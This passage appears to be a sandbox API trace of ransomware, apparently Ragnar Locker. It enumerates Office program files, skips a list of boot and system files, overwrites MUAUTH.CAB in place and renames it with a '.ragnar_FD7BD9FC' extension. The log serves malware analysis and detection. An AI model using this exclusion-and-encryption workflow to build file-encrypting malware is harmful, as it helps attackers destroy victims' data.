lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ntuser.dat.log") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ntuser.ini") returned -1 [0066.697] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="thumbs.db") returned -1 [0066.697] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.697] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.697] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.697] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0066.697] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.697] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEWSS.DLL" | out: lpString1="ACEWSS.DLL") returned="ACEWSS.DLL" [0066.697] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned=".DLL" [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="autorun.inf") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="boot.ini") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootfont.bin") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootsect.bak") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootmgr") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootmgr.efi") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootmgfw.efi") returned -1 [0066.698] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="desktop.ini") returned -1 [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.698] lstrcpyW (in: lpString1=0x1eb638, lpString2="ACEXBE.DLL" | out: lpString1="ACEXBE.DLL") returned="ACEXBE.DLL" [0066.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned=".DLL" [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.698] lstrcpyW (in: lpString1=0x1eb638, lpString2="ATLCONV.DLL" | out: lpString1="ATLCONV.DLL") returned="ATLCONV.DLL" [0066.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned=".DLL" [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.698] lstrcpyW (in: lpString1=0x1eb638, lpString2="Csi.dll" | out: lpString1="Csi.dll") returned="Csi.dll" [0066.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned=".dll" [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.698] lstrcpyW (in: lpString1=0x1eb638, lpString2="CsiSoap.dll" | out: lpString1="CsiSoap.dll") returned="CsiSoap.dll" [0066.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned=".dll" [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.698] lstrcpyW (in: lpString1=0x1eb638, lpString2="EXPSRV.DLL" | out: lpString1="EXPSRV.DLL") returned="EXPSRV.DLL" [0066.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned=".DLL" [0066.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="EXP_PDF.DLL" | out: lpString1="EXP_PDF.DLL") returned="EXP_PDF.DLL" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned=".DLL" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="EXP_XPS.DLL" | out: lpString1="EXP_XPS.DLL") returned="EXP_XPS.DLL" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned=".DLL" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="FLTLDR.EXE" | out: lpString1="FLTLDR.EXE") returned="FLTLDR.EXE" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned=".EXE" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="IACOM2.DLL" | out: lpString1="IACOM2.DLL") returned="IACOM2.DLL" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned=".DLL" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="LICLUA.EXE" | out: lpString1="LICLUA.EXE") returned="LICLUA.EXE" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned=".EXE" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSO.DLL" | out: lpString1="MSO.DLL") returned="MSO.DLL" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned=".DLL" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSOICONS.EXE" | out: lpString1="MSOICONS.EXE") returned="MSOICONS.EXE" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned=".EXE" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSORES.DLL" | out: lpString1="MSORES.DLL") returned="MSORES.DLL" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned=".DLL" [0066.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.699] lstrcpyW (in: lpString1=0x1eb638, lpString2="msoshext.dll" | out: lpString1="msoshext.dll") returned="msoshext.dll" [0066.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned=".dll" [0066.700] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.700] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSOXEV.DLL" | out: lpString1="MSOXEV.DLL") returned="MSOXEV.DLL" [0066.700] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned=".DLL" [0066.700] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.700] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSOXMLED.EXE" | out: lpString1="MSOXMLED.EXE") returned="MSOXMLED.EXE" [0066.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned=".EXE" [0066.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.701] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSOXMLMF.DLL" | out: lpString1="MSOXMLMF.DLL") returned="MSOXMLMF.DLL" [0066.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned=".DLL" [0066.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.701] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSPTLS.DLL" | out: lpString1="MSPTLS.DLL") returned="MSPTLS.DLL" [0066.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned=".DLL" [0066.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.701] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSSOAP30.DLL" | out: lpString1="MSSOAP30.DLL") returned="MSSOAP30.DLL" [0066.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned=".DLL" [0066.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.701] lstrcpyW (in: lpString1=0x1eb638, lpString2="MUAUTH.CAB" | out: lpString1="MUAUTH.CAB") returned="MUAUTH.CAB" [0066.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned=".CAB" [0066.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0066.706] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6747) returned 1 [0066.706] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.706] GetProcessHeap () returned 0x580000 [0066.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.706] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0066.708] VirtualAlloc (lpAddress=0x0, dwSize=0x1a5b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0066.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0066.708] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a5b, lpOverlapped=0x0) returned 1 [0066.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0066.709] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a5b, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.709] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a5b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a5b, lpOverlapped=0x0) returned 1 [0066.709] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a5b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.709] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.709] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.710] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0066.710] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0066.710] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0066.710] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.710] GetProcessHeap () returned 0x580000 [0066.710] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.710] CloseHandle (hObject=0x10c) returned 1 [0066.714] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" [0066.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.ragnar_FD7BD9FC" [0066.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0066.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.715] lstrcpyW (in: lpString1=0x1eb638, lpString2="MUOPTIN.DLL" | out: lpString1="MUOPTIN.DLL") returned="MUOPTIN.DLL" [0066.715] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned=".DLL" [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="autorun.inf") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="boot.ini") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootfont.bin") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootsect.bak") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootmgr") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootmgr.efi") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="bootmgfw.efi") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="desktop.ini") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="iconcache.db") returned 1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ntldr") returned -1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ntuser.dat") returned -1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ntuser.dat.log") returned -1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="ntuser.ini") returned -1 [0066.715] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="thumbs.db") returned -1 [0066.715] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.716] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.716] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.716] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0066.716] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.716] lstrcpyW (in: lpString1=0x1eb638, lpString2="Oarpmany.exe" | out: lpString1="Oarpmany.exe") returned="Oarpmany.exe" [0066.716] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned=".exe" [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="autorun.inf") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="boot.ini") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootfont.bin") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootsect.bak") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootmgr") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootmgr.efi") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="bootmgfw.efi") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="desktop.ini") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="iconcache.db") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ntldr") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ntuser.dat") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ntuser.dat.log") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="ntuser.ini") returned 1 [0066.716] lstrcmpiW (lpString1="Oarpmany.exe", lpString2="thumbs.db") returned -1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0066.716] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0066.717] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0066.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", 